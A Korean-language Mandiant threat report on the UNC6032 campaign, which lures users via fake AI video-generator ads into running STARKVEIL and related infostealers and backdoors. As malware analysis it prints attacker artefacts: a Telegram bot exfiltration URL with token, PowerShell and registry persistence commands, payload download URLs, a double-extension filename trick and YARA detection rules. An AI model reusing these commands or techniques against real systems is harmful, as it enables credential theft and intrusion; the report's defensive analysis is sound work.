Text-to-Malware: 사이버 범죄자들이 가짜 AI 테마 웹사이트를 무기화하는 방법
Mandiant
2024년 11월부터 Mandiant Threat Defense팀은 UNC6032 캠페인을 조사해 왔습니다. 이 캠페인은 사용자의 프롬프트를 기반으로 동영상을 생성하는 AI 도구에 대한 관심을 악용합니다. UNC6032는 가짜 'AI 동영상 생성기' 웹사이트를 이용해 멀웨어를 유포하고, 이를 통해 파이썬 기반 정보 탈취 악성코드(infostealers) 및 여러 백도어를 배포합니다. 피해자들은 주로 Luma AI, Canva Dream Lab, Kling AI 등 합법적인 AI 동영상 생성 도구인 것처럼 위장한 악성 소셜 미디어 광고를 통해 이 가짜 웹사이트로 유입됩니다. Mandiant 위협 방어팀은 Facebook, LinkedIn과 같은 다양한 소셜 미디어 플랫폼에서 수백만 명의 사용자에게 도달한 수천 개의 UNC6032 관련 광고를 식별했습니다. 사이버 범죄자들이 탐지를 회피하고 성공 확률을 높이기 위해 전술을 지속적으로 진화시키고 여러 플랫폼을 표적으로 삼는다는 점을 고려할 때, 유사한 캠페인이 다른 플랫폼에서도 활발하게 진행되고 있을 것으로 추정됩니다.
Mandiant 위협 방어팀은 UNC6032 공격이 Telegram API를 통해 로그인 자격 증명, 쿠키, 신용카드 데이터, Facebook 정보를 유출하는 것으로 확인했습니다. 이 캠페인은 적어도 2024년 중반부터 활동해 왔으며, 다양한 지역과 산업의 피해자들에게 영향을 미쳤습니다. Google 위협 인텔리전스 그룹(GTIG)은 UNC6032가 베트남과 연관되어 있다고 평가합니다.
Mandiant 위협 방어팀은 식별된 악성 광고, 도메인, 계정을 제거하기 위한 Meta의 협력적이고 적극적인 위협 헌팅 노력에 감사를 표합니다. 특히, Mandiant가 추가적인 악성 활동을 알리기 전인 2024년에 Meta의 탐지 및 제거 작업이 이미 상당 부분 시작되었다는 점은 주목할 만합니다.
유사한 조사 결과가 최근 Morphisec에 의해 발표되었습니다.
캠페인 개요
위협 행위자들은 인공지능(AI)에 대한 전 세계적인 관심을 이용하는 데 주저하지 않았습니다. 지난 몇 년간 AI의 인기가 급증하자, 사이버 범죄자들은 이 광범위한 기대감을 신속하게 악용하기 시작했습니다. 이들의 행동은 최첨단 AI 도구로 위장한 사기성 웹사이트를 중심으로 대규모의 급속히 확산되는 캠페인을 부채질했습니다. 이러한 웹사이트들은 그림 1과 그림 2에서 보이는 것과 유사한, 기만적인 소셜 미디어 광고 네트워크를 통해 홍보되었습니다.


그림 1: 악성 Facebook 광고


그림 2: 악성 LinkedIn 광고
메타(Meta)가 디지털 서비스법(Digital Services Act)을 시행함에 따라, 광고 라이브러리(Ad Library)는 유럽연합(EU) 시민을 대상으로 하는 모든 광고에 대해 추가 정보(광고 캠페인 날짜, 타겟팅 매개변수, 광고 도달 범위)를 표시하고 있습니다. 링크드인(LinkedIn)도 유사한 투명성 도구를 구현했습니다.
두 광고 라이브러리 도구를 통한 Google의 조사 결과, 2024년 중반부터 활동하며 유사한 광고 콘텐츠를 게시한 30개 이상의 웹사이트가 수천 개의 광고에서 언급된 것을 확인했습니다. Google이 발견한 대부분의 광고는 페이스북(Facebook)에서 실행되었으며, 소수의 광고만 링크드인(LinkedIn)에서도 광고되었습니다. 이 광고들은 공격자가 생성한 페이스북 페이지와 침해된 페이스북 계정을 모두 사용하여 게시되었습니다. Mandiant 위협 방어팀은 120개 이상의 악성 광고 샘플을 추가로 분석했으며, 광고의 EU 투명성 섹션에 따르면 EU 국가에 대한 총 도달 범위는 230만 명이 넘는 사용자였습니다. 표 1은 도달 범위가 가장 높은 상위 5개 페이스북 광고를 보여줍니다. 여기서 도달 범위는 피해자 수를 의미하지 않는다는 점에 유의해야 합니다. 메타에 따르면 광고 도달 범위는 해당 광고를 한 번 이상 본 계정의 추정 수치입니다.
표 1: 도달 범위가 가장 높은 상위 5개 Facebook 광고
위협 행위자는 탐지 및 계정 차단을 피하기 위해 Facebook 광고에 언급된 도메인을 지속적으로 변경합니다. 도메인이 등록되면 며칠 내 또는 당일에 광고에 사용되는 것을 확인했습니다. 또한, 대부분의 광고는 수명이 짧으며, 매일 새로운 광고가 생성됩니다.
LinkedIn에서는 hxxps://klingxai[.]com
으로 사용자를 유도하는 약 10개의 악성 광고를 식별했습니다. 이 도메인은 2024년 9월 19일에 등록되었고, 첫 광고는 바로 다음 날 등장했습니다. 이 광고들의 총 노출 추정치는 5만에서 25만 회에 달합니다. 각 광고에서 노출의 가장 높은 비율을 차지한 지역은 미국이었지만, 유럽과 호주 같은 다른 지역도 포함되었습니다.
조사된 웹사이트들에서 Mandiant 위협 방어팀은 유사한 인터페이스를 가지고 있으며, 텍스트-투-비디오 또는 이미지-투-비디오 생성과 같은 기능을 표방한다는 점을 확인했습니다. 사용자가 동영상 생성을 위해 프롬프트를 제공하면, 입력 내용과 관계없이 웹사이트는 동일(또는 관련) 인프라에 호스팅된 정적 페이로드 중 하나를 제공합니다.
다운로드되는 페이로드는 STARKVEIL 멀웨어입니다. 이 멀웨어는 주로 정보 탈취를 위해 설계된 세 가지 다른 모듈형 멀웨어 제품군을 드롭하며, 기능을 확장하기 위해 플러그인을 다운로드할 수 있습니다. 여러 개의 유사한 페이로드가 존재하는 것은, 일부 페이로드가 보안 방어 시스템에 의해 탐지되거나 차단되더라도 공격이 지속될 수 있도록 하는 안전 장치 역할을 합니다.
다음 섹션에서는 Mandiant 위협 방어팀이 대응한 특정 침해 사례를 더 깊이 살펴보겠습니다.
Luma AI 조사
감염 체인


그림 3: 감염 체인 라이프사이클
이 블로그 게시물은 캠페인의 주요 구성 요소에 대한 Google의 분석 결과를 자세히 제공합니다.
-
미끼: 위협 행위자들은 소셜 네트워크를 활용하여 AI 테마 광고를 게시하고, 사용자를 가짜 AI 웹사이트로 유도하여 멀웨어를 다운로드하게 합니다.
-
멀웨어: 이 멀웨어에는 여러 구성 요소가 포함되어 있으며, STARKVEIL 드로퍼는 XWORM 및 FROSTRIFT 백도어와 GRIMPULL 다운로더를 배포합니다.
-
실행: 멀웨어는 페이로드를 실행하기 위해 DLL 측면 로딩, 인메모리 드로퍼, 프로세스 인젝션을 광범위하게 사용합니다.
-
지속성: 두 개의 백도어(XWORM 및 FROSTRIFT)에 대해 AutoRun 레지스트리 키를 사용합니다.
-
안티-VM 및 안티-분석: GRIMPULL은 알려진 샌드박스 및 분석 도구에서 흔히 사용되는 아티팩트/기능을 확인합니다.
-
정찰
-
호스트 정찰: XWORM과 FROSTRIFT는 OS, 사용자 이름, 역할, 하드웨어 식별자, 설치된 AV를 포함한 정보를 수집하여 호스트를 조사합니다.
-
소프트웨어 정찰: FROSTRIFT는 특정 메시징 애플리케이션 및 브라우저의 존재 여부를 확인합니다.
-
- Command-and-control (C2)
-
Tor: GRIMPULL은 Tor 터널을 활용하여 추가적인 .NET 페이로드를 가져옵니다.
-
Telegram: XWORM은 호스트 정찰 중에 수집된 정보를 포함하여 텔레그램을 통해 피해자 알림을 보냅니다.
-
TCP: 멀웨어는 포트
7789
,25699
,56001
을 사용하여 C2에 연결합니다.
-
- 정보 탈취 악성코드
-
키로거: XWORM은 호스트로부터 키 입력 정보를 기록합니다.
-
브라우저 확장 프로그램: FROSTRIFT는 데이터 탈취 가능성이 있는 암호 관리자, 인증 도구, 디지털 지갑과 관련된 48개의 브라우저 확장 프로그램을 검색합니다.
-
-
백도어 명령: XWORM은 추가적인 침해를 위한 여러 명령을 지원합니다.
미끼
이 특정 사례는 유명한 텍스트-투-비디오 AI 도구인 Luma AI를 사칭하는 "Luma Dream AI Machine" Facebook 광고에서 시작되었습니다. 그림 4에서 볼 수 있듯이, 이 광고는 사용자를 hxxps://lumalabsai[.]in/
에 호스팅된 공격자가 만든 웹사이트로 리디렉션했습니다.


그림 4: 피해자가 클릭한 광고
가짜 Luma AI 웹사이트에 접속한 사용자는 "Start Free Now" 버튼을 클릭하고 다양한 동영상 생성 기능 중에서 선택할 수 있습니다. 어떤 옵션을 선택하든, 그림 5의 GIF에서 보이는 것과 동일한 프롬프트가 표시됩니다.
이러한 다단계 과정은 다른 합법적인 텍스트-투-비디오 또는 이미지-투-비디오 생성 도구 웹사이트와 유사하게 만들어졌기 때문에 사용자에게 익숙함을 주어 악성 의도를 즉시 알아차리기 어렵게 만듭니다. 사용자가 생성 버튼을 누르면, AI 모델이 열심히 작업하는 것을 흉내 내는 로딩 바가 나타납니다. 몇 초 후, 새로운 동영상이 준비되었다는 가정하에 "다운로드" 버튼이 표시됩니다. 이 버튼을 누르면 피해자의 호스트에 ZIP 압축 파일이 다운로드됩니다.


그림 5: 가짜 AI 동영상 생성 웹사이트
예상대로, 다운로드 가능한 압축 파일은 사용자 입력과 무관하게 동일한 서버에 이미 호스팅된 여러 페이로드 중 하나였습니다. 이 사례의 경우, 여러 압축 파일이 hxxps://lumalabsai[.]in/complete/
경로에 호스팅되어 있었습니다. Mandiant는 이 웹사이트가 '최종 수정 시간(Last Modified)' 값이 가장 최근인 압축 파일을 제공한다는 것을 확인했으며, 이는 위협 행위자가 지속적으로 업데이트하고 있음을 의미합니다. Mandiant는 이 페이로드들을 비교한 결과, 기능적으로는 유사하지만 서로 다른 난독화 기법이 적용되어 파일 크기가 다르다는 것을 발견했습니다.


그림 6: hxxps://lumalabsai[.]in/complete에 호스팅된 페이로드
실행
이전에 다운로드된 ZIP 압축 파일에는 이름에 이중 확장자(.mp4
와 .exe
)가 포함된 실행 파일이 들어 있습니다. 두 확장자 사이에는 13개의 점자 공백 (Braille Pattern Blank)(Unicode: U+2800, UTF-8: E2 A0 80)
가 사용되었습니다. 이는 유니코드의 점자 패턴 블록에 속하는 특수한 공백 문자입니다.


그림 7: 파일 이름에 사용된 점자 공백(Braille Pattern Blank) 문자
결과적으로 생성되는 파일 이름인 Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe
는 .exe
확장자를 사용자의 시야 밖으로 밀어내 바이너리에 대한 의심을 줄이도록 만들어졌습니다. 사용된 점자 공백(Braille Pattern Blank) 문자의 수는 제공되는 샘플마다 다르며, 13개에서 30개 이상에 이릅니다. 이 바이너리의 실제 목적을 더욱 숨기기 위해 악성 파일에는 기본 .mp4
Windows 아이콘이 사용됩니다.
그림 8은 이 파일이 Windows 11에서 합법적인 .mp4
파일과 비교하여 어떻게 보이는지 보여줍니다.


그림 8: 악성 실행 파일 vs. 합법적인 MP4 파일
STARKVEIL
Mandiant가 STARKVEIL로 추적하는 Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe
바이너리는 Rust로 작성된 드로퍼(dropper)입니다. 이 파일이 실행되면, 내장된 압축 파일을 추출하며, 이 안에는 정상적인 실행 파일과 멀웨어 구성 요소들이 포함되어 있습니다. 추출된 멀웨어 구성 요소들은 이후 여러 합법적인 프로세스에 악성 코드를 주입하는 데 사용됩니다.
멀웨어가 실행되면 그림 9와 같은 오류 창이 표시됩니다. 이는 사용자가 파일을 다시 실행하도록 유도하고 파일이 손상되었다고 믿게 만들어 사용자를 속이기 위한 것입니다.


그림 9: STARKVEIL 실행 시 표시되는 오류 창
성공적인 침해를 위해서는 실행 파일이 두 번 실행되어야 합니다. 첫 번째 실행에서는 C:\winsystem\
디렉터리 아래에 내장된 모든 파일이 추출됩니다.


그림 10: winsystem 디렉터리의 파일
두 번째 실행 시, 주 실행 파일은 인수로 난독화된 Python 명령어를 사용하여 Python Launcher인 py.exe
를 실행합니다. 이 Python 명령어는 내장된 Python 코드를 디코딩하며, Mandiant는 이를 COILHATCH 드로퍼로 추적합니다. COILHATCH는 다음 작업을 수행합니다(가독성을 높이기 위해 스크립트는 난독화가 해제되고 이름이 변경되었습니다).
-
명령어는 Base85로 인코딩된 문자열을 가져와 디코딩하고,
zlib
를 사용하여 결과를 압축 해제하며,marshal
모듈을 사용하여 결과 데이터를 역직렬화한 다음, 최종적으로 역직렬화된 데이터를 Python 코드로 실행합니다.


그림 11: Python 명령어
-
디컴파일된 1단계 Python 코드는
RSA
,AES
,RC4
,XOR
기술을 결합하여 2단계 Python 바이트코드를 복호화합니다.


그림 12: 1단계 Python
-
복호화된 2단계 Python 스크립트는
C:\winsystem\heif\heif.exe
를 실행합니다. 이 파일은 합법적이고 디지털 서명된 실행 파일로, 악성 DLL을 측면 로딩하는 데 사용됩니다. 이 파일은 다른 멀웨어 구성 요소를 실행하는 런처 역할을 합니다.


그림 13: 2단계 Python
다음은 결과 프로세스 트리입니다.
explorer.exe
↳ 7zfm.exe "<path>\Lumalabs_1926326251082123689-626.zip"
↳ "<path>\lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe"
↳ "C:\winsystem\py\py.exe" -c exec(__import__ ..<ENCODED PYTHON CODE>..)
↳ "C:\WINDOWS\system32\cmd.exe" /c "C:\winsystem\heif\heif.exe"
↳ "C:\winsystem\heif\heif.exe"
멀웨어 분석
앞서 언급했듯이, STARKVEIL 멀웨어는 첫 번째 실행 시 구성 요소를 드롭하고, 두 번째 실행 시 런처를 실행합니다. 모든 멀웨어 구성 요소와 그 역할을 완전히 분석한 내용은 다음 섹션에서 제공됩니다.
각 DLL은 인메모리 드로퍼로 작동하며, 새로운 피해자 프로세스를 생성하여 프로세스 교체를 통한 코드 인젝션을 수행합니다.
런처
C:\winsystem\heif\heif.exe
의 실행은 동일한 디렉터리에 있는 악성 heif.dll
의 측면 로딩을 초래합니다. 이 DLL은 합법적인 Windows 프로세스(다를 수 있음)를 생성하고 프로세스 교체를 통해 코드 인젝션을 수행하는 인메모리 드로퍼입니다.
주입된 코드는 런처 역할을 하는 .NET 실행 파일이며, 다음을 수행합니다.
- 여러 폴더를
C:\winsystem
에서%APPDATA%
로 이동합니다. 대상 폴더는 다음과 같습니다.%APPDATA%\python
%APPDATA%\pythonw
%APPDATA%\ffplay
%APPDATA%\Launcher
- 관련 악성 DLL을 측면 로딩하기 위해 세 개의 합법적인 프로세스를 실행합니다. 각 프로세스에 대한 악성 DLL은 다음과 같습니다.
python.exe: %APPDATA%\python\avcodec-61.dll
pythonw.exe: %APPDATA%\pythonw\heif.dll
ffplay.exe: %APPDATA%\ffplay\libde265.dll
- AutoRun 레지스트리 키를 통해 지속성을 확립합니다.
- 값: Dropbox
- 키: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
- 루트: HKCU\
- 값 데이터:
"cmd.exe /c \"cd /d "<exePath>" && "Launcher.exe""


그림 14: 런처의 주요 기능
AutoRun 키는 %APPDATA%\Launcher\Launcher.exe
를 실행하며, 이 파일은 libde265.dll
파일을 측면 로딩합니다. 이 DLL은 PE 할로잉(hollowing) 기법을 통해 AddInProcess32.exe
에 페이로드를 생성하고 주입합니다. 주입된 코드의 주요 목적은 합법적인 바이너리인 C:\winsystem\heif2rgb\heif2rgb.exe
와 C:\winsystem\heif-info\heif-info.exe
를 실행하는 것으로, 이들은 각각 백도어인 XWORM과 FROSTRIFT를 측면 로딩합니다.
GRIMPULL
세 개의 실행 파일 중, 런처는 가장 먼저 %APPDATA%\python\python.exe
를 실행합니다. 이 파일은 DLL인 avcodec-61.dll
을 측면 로딩하고 멀웨어인 GRIMPULL을 합법적인 Windows 프로세스에 주입합니다.
GRIMPULL은 안티-VM 기능을 통합하고 C2 서버 연결을 위해 Tor를 활용하는 .NET 기반 다운로더입니다.
Anti-VM 및 Anti-Analysis
GRIMPULL은 먼저 뮤텍스(mutex) 값 aff391c406ebc4c3
의 존재 여부를 확인하고, 이 값이 발견되면 자체적으로 종료합니다. 그렇지 않은 경우, 멀웨어는 추가적인 안티-VM 검사를 수행하며, 언급된 검사 중 하나라도 성공하면 종료됩니다.
다운로드 기능
GRIMPULL은 Tor 프로세스가 있는지 확인합니다. Tor 프로세스가 감지되지 않으면, 다음 URL에서 Tor를 다운로드하고 압축을 푼 다음 실행합니다.
https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/
tor-expert-bundle-windows-i686-13.0.9.tar.gz


그림 15: 다운로드 기능
그 후 Tor는 포트 9050
에서 로컬로 실행됩니다.
C2 통신
이어서 GRIMPULL은 TCP를 통해 Tor 터널을 경유하여 다음 C2 서버에 연결을 시도합니다.
strokes[.]zapto[.]org:7789
멀웨어는 이 연결을 유지하고 주기적으로 .NET 페이로드를 확인합니다. 가져온 페이로드는 캠페인 ID aff391c406ebc4c3
의 MD5
해시를 복호화 키로 사용하여 ECB 모드에서 TripleDES
로 복호화되고, GZip
으로 압축 해제(4바이트 길이 접두사 사용)되며, 역순으로 배열된 다음, .NET 어셈블리로 메모리에 로드됩니다.
멀웨어 구성
구성 요소들은 그림 16과 같이 base64
문자열로 인코딩되어 있습니다.


그림 16: 인코딩된 멀웨어 구성
표 5는 멀웨어에서 추출된 구성 정보를 보여줍니다.
XWORM
다음으로, 런처는 %APPDATA%\pythonw\pythonw.exe
파일을 실행하고, 이 파일은 DLL heif.dll
을 측면 로딩하여 합법적인 Windows 프로세스에 XWORM을 주입합니다.
XWORM은 TCP를 통해 맞춤형 바이너리 프로토콜로 통신하는 .NET 기반 백도어입니다. 핵심 기능은 플러그인 관리 시스템을 통해 기능을 확장하는 것입니다. 다운로드된 플러그인은 디스크에 기록되어 실행됩니다. 지원되는 기능에는 키 입력 정보 기록(keylogging), 명령 실행, 화면 캡처, USB 드라이브로 확산 등이 포함됩니다.
XWORM 구성
멀웨어는 AES
알고리즘을 사용하여 구성을 디코딩하는 것으로 시작합니다.


그림 17: 구성 정보 디코딩
표 6은 멀웨어에서 추출된 구성 정보를 보여줍니다.
호스트 정찰
멀웨어는 다음 정보를 수집하기 위해 시스템 조사를 수행합니다.
-
Bot ID
-
사용자 이름
-
OS 이름
-
USB에서 실행 중인지 여부
-
CPU 이름
-
GPU 이름
-
Ram 용량
-
AV 제품 목록
수집된 정보 샘플은 다음과 같습니다.
☠ [KW-2201]
New Clinet : <client_id_from_machine_info_hash>
UserName : <victim_username>
OSFullName : <victim_OS_name>
USB : <is_sample_name_USB.exe>
CPU : <cpu_description>
GPU : <gpu_description>
RAM : <ram_size_in_GBs>
Groub : <installed_av_solutions>
이 정보는 텔레그램 채팅으로 전송됩니다.
hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1
owtgo24fcO0/sendMessage?chat_id=-1002475751919&text=<collected_sysinfo>
키 입력 정보 기록(Keylogging)
멀웨어 샘플은 기록된 키 입력 정보를 %temp%\Log.tmp
파일에 저장합니다.
Log.tmp
파일 내용의 샘플은 다음과 같습니다.
....### explorer ###..[Back]
[Back]
b
a
n
k
[ENTER]
C2 통신
샘플은 tcp://artisanaqua[.]ddnsking[.]com:25699
의 C2 서버에 연결하고, 처음에는 다음 정보를 C2에 전송합니다.
"INFO<Xwormmm>victim_id<Xwormmm>user<Xwormmm>
os_name<Xwormmm>XWorm V5.2<Xwormmm>date_in_dd/mm/yyyy
<Xwormmm>is_sample_name_USB.exe
<Xwormmm>is_administrator<Xwormmm>has_webcam<Xwormmm>cpu_info
<Xwormmm>gpu_info<Xwormmm>ram_size<Xwormmm>installed_AVs"
그런 다음 샘플은 다음 지원되는 명령 중 하나를 기다립니다.
FROSTRIFT
마지막으로, 런처는 %APPDATA%\ffplay\ffplay.exe
파일을 실행하여 DLL인 %APPDATA%\ffplay\libde265.dll
을 측면 로딩하고 합법적인 Windows 프로세스에 FROSTRIFT를 주입합니다.
FROSTRIFT는 시스템 정보, 설치된 애플리케이션 및 암호화폐 지갑을 수집하는 .NET 백도어입니다. 이 백도어는 C2 명령을 수신하는 대신, 레지스트리에 저장되어 메모리에 로드되는 .NET 모듈을 수신합니다. GZIP
으로 압축된 protobuf
메시지를 TCP/SSL을 통해 C2 서버와 통신합니다.
멀웨어 구성
멀웨어는 문자열 테이블에 내장된 Base64로 인코딩되고 GZIP으로 압축된 protobuf 메시지인 구성을 디코딩하는 것으로 시작합니다.


그림 18: FROSTRIFT 구성 정보
표 8은 멀웨어에서 추출된 구성 정보를 보여줍니다.
지속성
FROSTRIFT는 다음 명령어를 실행하여 지속성을 확보할 수 있습니다.
powershell.exe "Remove-ItemProperty -Path 'HKCU:\SOFTWARE\
Microsoft\Windows\CurrentVersion\Run' -Name '<sample_file_name>
';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run' -Name '<sample_file_name>' -Value '""%APPDATA%
\<sample_file_name>""' -PropertyType 'String'"
멀웨어 샘플은 자신을 %APPDATA%
폴더에 복사하고, 새로운 파일 경로를 데이터로 하여 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
아래에 새 레지스트리 값을 추가하여 시스템이 시작될 때마다 지속성을 확보합니다.
호스트 정찰
다음 정보는 멀웨어가 초기 수집하여 C2로 전송하는 정보입니다.
FROSTRIFT은 다음 브라우저의 존재 여부를 확인합니다.
표 10: 브라우저 목록
FROSTRIFT는 또한 비밀번호 관리자, 인증기, 디지털 지갑 관련 브라우저 확장 프로그램 48개의 존재 여부를 확인합니다. 전체 목록은 표 11에 제시되어 있습니다.
C2 통신
이 멀웨어는 서버가 GZIP
압축된 Protobuf 메시지를 보내 응답하기를 기대하며, 이 메시지에는 다음 필드들이 포함됩니다.
-
registry_val
:HKCU\Software\<victim_id>
아래에loader_bytes
를 저장하는 데 사용되는 레지스트리 값입니다. -
loader_bytes
:loaded_bytes
를 불러오는 어셈블리 모듈입니다. (레지스트리에 역순으로 저장됨) -
loaded_bytes
: 메모리에 로드될 GZIP 압축 어셈블리 모듈입니다.
이 샘플은 첫 번째 메시지에서만 loader_bytes
를 수신하며, 이를 레지스트리 값인 HKCU\Software\<victim_id>\registry_val
아래에 저장합니다. 이후 메시지에서는 registry_val
만 수신하여 레지스트리에서 loader_bytes
를 가져오는 데 사용합니다.
C2가 다른 어셈블리 모듈을 보낼 때까지, 이 샘플은 유지(keep-alive) 메커니즘으로 빈 GZIP
압축 Protobuf 메시지를 전송합니다.
이 멀웨어는 또한 다음 하드코딩된 URL에서 추가 페이로드를 다운로드하고 실행할 수 있는 기능을 가지고 있습니다. (다만, 이 샘플에서는 기능이 활성화되어 있지 않습니다.)
-
WebDriver2.exe
: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll; -
chromedriver2.exe
: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe -
msedgedriver2.exe
: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe
이 파일들은 테스트, 자동화 및 브라우저 상호작용에 사용되는 WebDriver로, 공격자가 추가 페이로드를 배포하는 등 악의적인 목적으로도 사용될 수 있습니다.
결론
최근 AI가 엄청난 속도로 발전하면서, 저희의 연구는 공격자들이 AI를 악용하는 몇 가지 방법을 보여줍니다. 비록 저희의 조사가 제한적이었지만, 정교하게 만들어진 가짜 'AI 웹사이트'가 기업과 개인 사용자 모두에게 심각한 위협이 된다는 것을 발견했습니다. 이러한 AI 도구들은 더 이상 그래픽 디자이너만을 표적으로 삼지 않으며, 누구든 겉보기에 무해해 보이는 광고에 속을 수 있습니다. 최신 AI 도구를 사용해보고 싶은 유혹은 누구나 피해자가 될 수 있게 만듭니다. 저희는 사용자들이 AI 도구를 이용할 때 주의를 기울이고 웹사이트 도메인의 신뢰성을 확인할 것을 권장합니다.
감사의 글
악성코드 샘플 분석에 도움을 주신 Stephen Eckels, Muhammad Umair, Mustafa Nasser 님께 특별히 감사드립니다. 의견과 위협 분석 정보를 제공해주신 Richmond Liclican 님께도 감사합니다. 그리고 탐지 기회를 제공해주신 Ervin Ocampo, Swapnil Patil, Muhammad Umer Khan, Muhammad Hasib Latif 님께도 감사드립니다.
탐지 기회
다음의 침해 지표(IOC) 및 YARA 룰은 Google Threat Intelligence(GTI)에서도 컬렉션 및 룰 팩으로 제공됩니다.
호스트 기반 침해 지표(IOCs)
네트워크 기반 침해 지표(IOCs)
멀웨어 명령어 및 제어
가짜 AI 도페인
YARA Rules
rule G_Dropper_COILHATCH_1 {
meta:
author = "Mandiant"
strings:
$i1 = "zlib.decompress" ascii wide
$i2 = "rc4" ascii wide
$i3 = "aes_decrypt" ascii wide
$i4 = "xor" ascii wide
$i5 = "rsa_decrypt" ascii wide
$r1 = "private_key" ascii wide
$r2 = "runner" ascii wide
$r3 = "marshal" ascii wide
$r4 = "marshal.loads" ascii wide
$r5 = "b85decode" ascii wide
$r6 = "exceute_func" ascii wide
$r7 = "hybrid_decrypt" ascii wide
condition:
(4 of ($i*)) and all of ($r*)
}
rule G_Dropper_STARKVEIL_1 {
meta:
author = "Mandiant"
strings:
$p00_0 = { 56 57 53 48 83 EC ?? 48 8D AA [4] 48 8B 7D
?? 48 8B 4F ?? FF 15 [4] 48 89 F9 }
$p00_1 = { 0F 0B 66 0F 1F 84 00 [4] 48 89 54 24 ?? 55 41
56 56 57 53 48 83 EC }
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550
and (($p00_0 in (48000 .. 59000) and $p00_1 in (100000 .. 120000)))
}
import "dotnet"
rule G_Downloader_GRIMPULL_1 {
meta:
author = "Mandiant"
strings:
$str1 = "SbieDll.dll" ascii wide
$str2 = "cuckoomon.dll" ascii wide
$str3 = "vmGuestLib.dll" ascii wide
$str4 = "select * from Win32_BIOS" ascii wide
$str5 = "VMware|VIRTUAL|A M I|Xen" ascii wide
$str6 = "Microsoft|VMWare|Virtual" ascii wide
$str7 = "win32_process.handle='{0}'" ascii wide
$str8 = "stealer" ascii wide
$code = { 11 20 11 0F 11 20 11 0F 91 11 1A 11 0F 91 61 D2 9C }
condition:
dotnet.is_dotnet and all of them
}
rule G_Backdoor_FROSTRIFT_1 {
meta:
author = "Mandiant"
strings:
$guid = "$23e83ead-ecb2-418f-9450-813fb7da66b8"
$r1 = "IdentifiableDecryptor.DecryptorStack"
$r2 = "$ProtoBuf.Explorers.ExplorerDecryptor"
$s1 = "\\User Data\\" wide
$s2 = "SELECT * FROM AntiVirusProduct" wide
$s3 = "Telegram.exe" wide
$s4 = "SELECT * FROM Win32_PnPEntity WHERE (PNPClass =
'Image' OR PNPClass = 'Camera')" wide
$s5 = "Litecoin-Qt" wide
$s6 = "Bitcoin-Qt" wide
condition:
uint16(0) == 0x5a4d and (all of ($s*) or $guid or all of ($r*))
}
YARA-L Rules
Mandiant has made the relevant rules available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set. The activity discussed in the blog post is detected under the rule names:
-
Suspicious Binary File Execution - MP4 Masquerade
-
Suspicious Binary File Execution - Double Extension and Braille Pattern Blank Masquerade
-
Python Script Deobfuscation - Base85 ZLib Marshal
-
Suspicious Staging Directory WinSystem
-
DLL Search Order Hijacking AVCodec61
-
DLL Search Order Hijacking HEIF
-
DLL Search Order Hijacking Libde265